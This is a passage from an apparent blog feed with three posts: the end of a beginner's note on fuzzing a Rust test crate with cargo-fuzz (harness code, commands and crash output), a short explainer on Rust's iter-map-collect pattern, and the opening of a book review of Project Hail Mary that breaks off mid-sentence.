href=\"https://github.com/suidpit/rust-fuzz-garden.\"\u003etest repository\u003c/a\u003e is cloned, we can init a new fuzzer with \u003ccode\u003ecargo fuzz init\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eNotice that the command created a new directory, named \u003ccode\u003efuzz\u003c/code\u003e, in the project. This contains:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eA \u003ccode\u003eCargo.toml\u003c/code\u003e with the dependencies and settings of the fuzzing crate\u003c/li\u003e\n\u003cli\u003eA \u003ccode\u003efuzz/fuzz_targets/fuzz_target_1.rs\u003c/code\u003e, that contains the skeleton code of a fuzzing harness:\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e6\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-rust\" data-lang=\"rust\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#![no_main]\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003euse\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003elibfuzzer_sys\u003c/span\u003e::\u003cspan class=\"n\"\u003efuzz_target\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"fm\"\u003efuzz_target!\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e: \u003cspan class=\"kp\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"kt\"\u003eu8\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\t\u003c/span\u003e\u003cspan class=\"c1\"\u003e// fuzzed code goes here \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e\u003ccode\u003efuzz_target!\u003c/code\u003e here is the macro that will be expanded into the C ABI that \u003ccode\u003elibfuzzer\u003c/code\u003e expects. At runtime, \u003ccode\u003elibfuzzer\u003c/code\u003e will run the body of \u003ccode\u003efuzz_target!\u003c/code\u003e with each time a different vector of input bytes (that will be mutated according to the coverage feedback).\u003c/p\u003e\n\u003cp\u003eIn this example, we can just convert the bytes to UTF-8 and then invoke the target API:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-rust\" data-lang=\"rust\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#![no_main]\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003euse\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003elibfuzzer_sys\u003c/span\u003e::\u003cspan class=\"n\"\u003efuzz_target\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eextern\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ecrate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003erust_fuzz_garden\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"fm\"\u003efuzz_target!\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e: \u003cspan class=\"kp\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"kt\"\u003eu8\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003eOk\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003es\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estd\u003c/span\u003e::\u003cspan class=\"kt\"\u003estr\u003c/span\u003e::\u003cspan class=\"n\"\u003efrom_utf8\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"n\"\u003erust_fuzz_garden\u003c/span\u003e::\u003cspan class=\"n\"\u003etake_string\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003es\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003eAnd then build the fuzzer with \u003ccode\u003ecargo fuzz build\u003c/code\u003e (from the root directory of the project).\u003c/p\u003e\n\u003cp\u003eBefore starting the fuzzer, you can take a moment to explore all the command line arguments supported by the fuzzer by running:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e1\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ecargo fuzz run \u0026lt;name_of_the_fuzzer_target\u0026gt; -- -help\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003eAnd then we can simply start the fuzzer\u003csup id=\"fnref:3\"\u003e\u003ca href=\"#fn:3\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e3\u003c/a\u003e\u003c/sup\u003e:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003ecargo fuzz run \u0026lt;name_of_the_fuzzer_target\u0026gt;\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eAfter a few seconds, the fuzzing stops because the program crashed:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eFailing input:\n\n\tfuzz/artifacts/fuzz_take_string/crash-3dd6b4c5a9468adf21b788190d130f58e4558338\n\nOutput of `std::fmt::Debug`:\n\n\t[70, 85, 90, 90, 77, 69, 49, 50, 51]\n\nReproduce with:\n\n\tcargo fuzz run fuzz_take_string fuzz/artifacts/fuzz_take_string/crash-3dd6b4c5a9468adf21b788190d130f58e4558338\n\nMinimize test case with:\n\n\tcargo fuzz tmin fuzz_take_string fuzz/artifacts/fuzz_take_string/crash-3dd6b4c5a9468adf21b788190d130f58e4558338\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eWe can also quickly inspect the body of the crashing test-case to confirm that it is what we expected:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e3\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e➜  rust-fuzz-garden git:\u003cspan class=\"o\"\u003e(\u003c/span\u003elibfuzzer\u003cspan class=\"o\"\u003e)\u003c/span\u003e cat fuzz/artifacts/fuzz_take_string/crash-3dd6b4c5a9468adf21b788190d130f58e4558338\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eFUZZME123%\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e➜  rust-fuzz-garden git:\u003cspan class=\"o\"\u003e(\u003c/span\u003elibfuzzer\u003cspan class=\"o\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003eThis wraps up this very simple note. There are other interesting parts, such as profile the coverage to improve the harness, or minimizing test cases, but this is a simple note, therefore let\u0026rsquo;s keep it simple.\u003c/p\u003e\n\u003cdiv class=\"footnotes\" role=\"doc-endnotes\"\u003e\n\u003chr\u003e\n\u003col\u003e\n\u003cli id=\"fn:1\"\u003e\n\u003cp\u003eA harness is the program written specifically for fuzzing a library, that exercises the API offered by the library in a way suited to maximize coverage (for instance by relaxing some validity constraints).\u0026#160;\u003ca href=\"#fnref:1\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:2\"\u003e\n\u003cp\u003eIn-process fuzzing is a technique that reuses the same process on each iteration, instead of forking, to optimize execs/s.\u0026#160;\u003ca href=\"#fnref:2\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:3\"\u003e\n\u003cp\u003eIn a real-world fuzzing campaign, you would probably supply a given amount of argument, such as instance the initial \u003cem\u003ecorpus\u003c/em\u003e of data.\u0026#160;\u003ca href=\"#fnref:3\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/div\u003e\n","summary":"","date_published":"2026-04-09T10:00:14+01:00"},{"id":"https://suidpit.sh/posts/iter-map-collect/","url":"https://suidpit.sh/posts/iter-map-collect/","title":"Rust's iter-\u003emap-\u003ecollect","content_html":"\u003cp\u003eRust has a very common iterator pattern that looks like \u003ccode\u003eiter().map(...).collect()\u003c/code\u003e. There are many other iterator combinators, but this particular shape appears frequently in Rust code I have seen \u0026ndash; which, admittedly, is not a lot, but still \u003cem\u003e/shrugs/\u003c/em\u003e.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eThe \u003ccode\u003eiter()\u003c/code\u003e method creates an iterator that references the elements of a collection.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003emap()\u003c/code\u003e takes a function that transforms each element of the iterator and returns a new iterator.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003ecollect()\u003c/code\u003e trasforms the iterator into a collection.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThus, the following:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e8\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-rust\" data-lang=\"rust\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// capitalize is redacted\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003efn\u003c/span\u003e \u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ev\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"fm\"\u003evec!\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;foo\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;bar\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;baz\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eupper_v\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ev\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eiter\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003emap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003es\u003c/span\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecapitalize\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003es\u003c/span\u003e\u003cspan class=\"p\"\u003e)).\u003c/span\u003e\u003cspan class=\"n\"\u003ecollect\u003c/span\u003e::\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nb\"\u003eVec\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nb\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"fm\"\u003eprintln!\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e{:?}\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eupper_v\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003eWill print:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e[\u0026#34;Foo\u0026#34;, \u0026#34;Bar\u0026#34;, \u0026#34;Baz\u0026#34;]\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThe good is that it\u0026rsquo;s \u003cstrong\u003efully typed\u003c/strong\u003e (see how I did to specify the \u003ccode\u003e\u0026lt;Vec\u0026lt;String\u0026gt;\u0026gt;\u003c/code\u003e there?), it\u0026rsquo;s very compact and clear, it compiles all the iterator steps into a single optimized loop\u0026hellip;and also, it\u0026rsquo;s ✨ lazy ✨\u003c/p\u003e\n\u003cp\u003eWhich means that we can do something like this:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e5\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-rust\" data-lang=\"rust\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003enums\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eiter\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efilter\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e%\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003emap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etake\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecollect\u003c/span\u003e::\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nb\"\u003eVec\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003e_\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003ewhere the \u003ccode\u003etake(5)\u003c/code\u003e is \u003cem\u003eslicing\u003c/em\u003e the iterator to take only the first 5 values, and only then we \u003ccode\u003ecollect\u003c/code\u003e. Which has the great advantage that the collection is \u0026ldquo;concretized\u0026rdquo; on the last step, therefore we don\u0026rsquo;t waste time by computing the square of every even number in \u003ccode\u003enums\u003c/code\u003e and slicing afterwards, but instead we bake the slicing into the \u0026ldquo;recipe\u0026rdquo; of the iterator, if it makes sense.\u003c/p\u003e\n","summary":"","date_published":"2026-03-10T18:03:53+01:00"},{"id":"https://suidpit.sh/posts/project-hail-mary/","url":"https://suidpit.sh/posts/project-hail-mary/","title":"Quick review: Project Hail Mary by Andy Weir","content_html":"\u003cp\u003eIt\u0026rsquo;s funny, it\u0026rsquo;s brilliant, it\u0026rsquo;s scientifically dense in a way that only Andy can pull off. Oh my gosh. I was literally \u003cem\u003ecrying\u003c/em\u003e on the ending.\u003c/p\u003e\n\u003cp\u003eI can\u0026rsquo;t tell anything about the plot rather than this little teaser:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eA man wakes up on a table with amnesia. There\u0026rsquo;s a robot that repeatedly asks him: \u0026ldquo;Who are you?\u0026rdquo;\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eReading a book from Andy Weir (he\u0026rsquo;s also the one who wrote \u003cem\u003eThe Martian\u003c/em\u003e, by the way) should be the mandatory extra-school activity that 